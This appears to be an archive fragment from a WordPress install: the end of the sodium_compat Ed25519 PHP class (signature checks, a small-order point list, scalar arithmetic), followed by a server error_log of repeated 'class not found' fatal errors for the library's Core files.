        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32 bytes');
        }
        $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        $c = 0;
        $n = 1;
        $i = 32;

        /** @var array<int, int> $L */
        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        /** @var array<int, array<int, int>> $blocklist */
        $blocklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var int $countBlocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function scalar_complement($s)
    {
        $t_ = self::L . str_repeat("\x00", 32);
        sodium_increment($t_);
        $s_ = $s . str_repeat("\x00", 32);
        ParagonIE_Sodium_Compat::sub($t_, $s_);
        return self::sc_reduce($t_);
    }

    /**
     * @return string
     * @throws SodiumException
     */
    public static function scalar_random()
    {
        do {
            $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES);
            $r[self::SCALAR_BYTES - 1] = self::intToChr(
                self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f
            );
        } while (
            !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r)
        );
        return $r;
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function scalar_negate($s)
    {
        $t_ = self::L . str_repeat("\x00", 32) ;
        $s_ = $s . str_repeat("\x00", 32) ;
        ParagonIE_Sodium_Compat::sub($t_, $s_);
        return self::sc_reduce($t_);
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     * @throws SodiumException
     */
    public static function scalar_add($a, $b)
    {
        $a_ = $a . str_repeat("\x00", 32);
        $b_ = $b . str_repeat("\x00", 32);
        ParagonIE_Sodium_Compat::add($a_, $b_);
        return self::sc_reduce($a_);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    public static function scalar_sub($x, $y)
    {
        $yn = self::scalar_negate($y);
        return self::scalar_add($x, $yn);
    }
}
Core/error_log000064400000125667151024233030007363 0ustar00[28-Oct-2025 03:12:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[28-Oct-2025 03:21:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[28-Oct-2025 03:25:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[28-Oct-2025 03:27:24 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[28-Oct-2025 03:28:18 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[28-Oct-2025 04:06:34 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[28-Oct-2025 05:00:32 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[28-Oct-2025 06:55:44 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[28-Oct-2025 08:16:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[28-Oct-2025 08:17:51 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[28-Oct-2025 08:20:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[28-Oct-2025 11:20:24 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[28-Oct-2025 11:22:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[28-Oct-2025 11:22:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[28-Oct-2025 11:57:47 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[28-Oct-2025 15:02:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[29-Oct-2025 17:25:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[29-Oct-2025 17:25:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[29-Oct-2025 17:25:09 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[29-Oct-2025 17:25:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[29-Oct-2025 17:25:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[29-Oct-2025 17:27:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[29-Oct-2025 17:28:03 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[29-Oct-2025 17:29:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[29-Oct-2025 17:30:09 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[29-Oct-2025 17:31:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[29-Oct-2025 17:33:25 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[29-Oct-2025 17:35:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[29-Oct-2025 17:36:30 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[29-Oct-2025 17:37:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[29-Oct-2025 17:38:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[29-Oct-2025 17:39:36 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[29-Oct-2025 19:32:18 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[29-Oct-2025 19:32:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[29-Oct-2025 19:32:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[29-Oct-2025 19:33:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[29-Oct-2025 19:34:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[29-Oct-2025 19:36:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[29-Oct-2025 19:37:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[29-Oct-2025 19:38:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[29-Oct-2025 19:39:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[29-Oct-2025 19:40:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[29-Oct-2025 19:42:22 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[29-Oct-2025 19:43:20 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[29-Oct-2025 19:45:26 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[29-Oct-2025 19:47:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[29-Oct-2025 19:48:28 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[29-Oct-2025 19:49:30 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[01-Nov-2025 19:09:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[01-Nov-2025 19:16:56 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[01-Nov-2025 19:28:52 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[01-Nov-2025 19:30:44 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[01-Nov-2025 19:34:36 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
